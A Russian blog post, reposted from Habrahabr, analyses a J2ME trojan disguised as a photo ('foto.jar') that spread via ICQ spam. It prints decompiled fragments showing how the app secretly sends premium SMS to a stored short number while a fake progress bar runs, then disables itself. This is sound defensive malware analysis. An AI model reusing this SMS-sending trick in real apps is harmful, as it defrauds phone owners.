История исследования одного jar трояна

Автор: admin от 29-04-2011, 21:03, посмотрело: 2915

История исследования одного jar трояна

Статья о том, как исследовать незнакомые *.jar файлы.
Мне очень часто в ICQ приходит спам. Как правило, предлагают зайти на один из фэйковых «вконтакте» с опечаткой в имени. Но тут прислали просьбу авторизовать с ссылкой на фотографию. Сообщение банально, ничего нового, что-то вроде: «Хочу с тобой познакомиться, посмотри на фотку по ссылке ….., тебе будет интересно со мной сфоткаться». Ссылка не вела на фэйковый вконтакте, но предлагала скачать файл foto.jar.
Проверяем антивирусом – все ОК.

Беглый обзор

Становится интересно. Раскрываем архив и начинаем исследовать.
Файл jar содержал такие файлы:

История исследования одного jar трояна

Имеем дело с Java приложением. Скорее всего, для мобильных устройств. Смотрим любым редактором текстовых файлов файл main.class и видим подтверждение – в тексте программы есть вызовы MIDlet.

История исследования одного jar трояна

Осталось разобраться, что делает эта программа. Опять, воспользуемся текстовым редактором. Просмотрим файлы классов. В файле a.class ищем подсказку, что делает это приложение:

История исследования одного jar трояна

«MessageConnection, javax.wireless.messaging.TextMessage, sms://» – намекают нам, что приложение отправляет SMS.
Обычно на этом можно останавливаться. Файл, пришедший с ICQ спамом, который называют фотографией, на самом деле оказывается программой для мобильных устройств, которая отсылает SMS.
Параллельно, принято решение посмотреть, что же делает это приложение. Загружаю эмулятор, среду выполнения. В результате получаем:

История исследования одного jar трояна

Загружается форма с полосой прогресса, нажимаем ОК, полоса растет, в определенный момент, когда доходит до определенного процента — отправляется SMS.
Когда доходим до 100% — приложение «портится»

Погружение в код


Попытки найти прямо в коде классов номер, на который отсылают сообщение, не увенчались успехом. Стало интересно.
Для более глубокого исследования, декомпилируем исходники. Декомпиляция дала половинчатые результаты. Один декомпилятор не смог вскрыть метод startApp(), выдав ошибку. Потому после непродолжительного поиска был найден онлайн декомпилятор, который смог вскрыть все файлы, но в качестве имени переменных подставлял только “a”. Но этого было достаточно, чтобы понять логику приложения.
Весь результат декомпиляции приводить не буду, только наиболее значимые фрагменты:
Фрагмент функции startApp() класса main.class:

…….
this.a = "";
this.b = "http://ero.******.ws";
if(this.a == null) {
this.a = "";
……..
try {
b var1;
(var1 = this.a).a = var1.getClass().getResourceAsStream("/settings.xml");
var1.a = var1.a.available();
var1.a = new int[var1.a];
int var2;
for(var2 = 0; var2 < var1.a; ++var2) {
var1.a[var2] = var1.a.read();
}
………


Из этого фрагмента видно, что из файла settings.xml подгружается информация. И формируется строка с именем сайта.

public void commandAction(Command var1, Displayable var2) {
if(var1 == this.d) {
++this.a.b;
++this.a.d;
this.a.a += this.a.c;
if(this.a.d == 17) {
this.a.d = 0;
this.Sender();
}
if(this.a.b == 100) {
this.destroyApp(false);
}
this.a.repaint();
}
if(var1 == this.a) {
this.a.setCurrent(this.a);
}
if(var1 == this.c) {
this.notifyDestroyed();
}
if(var1 == this.b) {
try {
this.platformRequest(this.b);
} catch (ConnectionNotFoundException var3) {
var3.printStackTrace();
}
this.notifyDestroyed();
}
}

Когда достигаем 17%, вызываем Sender(). Когда достигаем 100% — вызываем destroyApp(), чтобы пользователь не смог запустить приложение еще раз. Переходим к процедуре Sender().
public void Sender() {
if(this.a < this.a.length) {
a var1 = this.a;
(new Thread(var1)).start();
}
}

Запускается экземпляр переменной класса a в новом потоке.
Фрагмент кода класса a.
public final void run() {
try {
……..
this.a = "sms://" + this.a.a[this.a.a];
……..
this.a.send(this.a);
} catch (SecurityException var1) {
System.out.println("!!!!!!!!!!!");
} catch (Exception var2) {
this.a = false;
}
……..
}

Итак, итоги подведем.

Данное приложение распространяется через ICQ, поражает мобильные телефоны, пытается отправить SMS на номер, который хранится в файле settings.xml, номер кстати: 7781.

Проверяем онлайн антивирусом опять.

История исследования одного jar трояна

UPD. Спасибо за подсказанные ссылки MainNika

Необфусцированные трояны с подобным механизмом работы:
habrahabr.ru/blogs/java/112165/
habrahabr.ru/blogs/infosecurity/113017/
habrahabr.ru/blogs/personal/50072/

Вопрос по Java коду подобного трояна, с интересной дискуссией:
habrahabr.ru/blogs/personal/75899/

Источник: Хабрахабр: Вирусы и антивирусы

Категория: Информационная безопасность » Вирусы и антивирусы

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
Введите два слова, показанных на изображении: *